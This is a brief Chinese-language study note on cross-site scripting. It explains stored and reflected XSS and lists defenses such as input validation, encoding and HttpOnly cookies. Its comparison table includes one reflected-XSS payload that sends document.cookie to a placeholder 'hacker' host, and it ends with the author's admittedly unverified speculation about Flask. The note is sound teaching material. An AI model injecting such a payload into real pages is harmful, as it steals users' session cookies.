XSS
原理
XSS(跨站脚本攻击
)分为两类
存储型
攻击者通过输入框植入恶意代码到数据库中,例如留言板、评论、博客日志和各类表单进行植入,然后回显到前端页面进行攻击,例如访问某个小站,实现类似DDos,或者将其他用户的Cookie提交到黑客的服务器
反射型
反射型:将脚本代码加入URL地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击类似的恶意链接就可能受到攻击。
类型 | 持久化 | 原理 | 例子 |
---|---|---|---|
存储型XSS | 持久化在数据库中 | 攻击者通过输入框植入恶意代码到数据库中,例如留言板、评论、博客日志和各类表单进行植入,然后通过页面回显执行恶意代码 | 人人网又一大波蠕虫:https://www.secpulse.com/archives/15681.html |
反射型XSS | 不持久化 | 欺骗用户自己去点击链接才能触发XSS代码,以获取Cookie信息 | <SCRIPT>var+img=new+Image();img.src="http://hacker /"%20+%20document.cookie;</SCRIPT> |
防御
- 输入类型校验,例如手机号只允许数字,email格式用正则校验
- 对于用户输入的特殊字符,我们必须要做编码,可以使用
OWASP AntiSamp XSS
规则过滤引擎对用户输入进行编码过滤 - 不要引入任何不可信的第三方
JavaScript
到页面里,一旦引入了,这些脚本就能够操纵你的HTML页面,窃取敏感信息或者发起钓鱼攻击等等 - 使用
HttpOnly
避免cookie
被恶意js获取
补充
- 在我尝试通过Flask来实现模拟攻击时失败了,在Flask中return template script标签的内容是作为字符串的显示在页面的,而我直接return 字符串攻击时成功的,那这么说Flask template是后端渲染是么? 看样子好像是的- -!(未验证)
- Post是否会比Get安全在XSS安全威胁中?(未验证)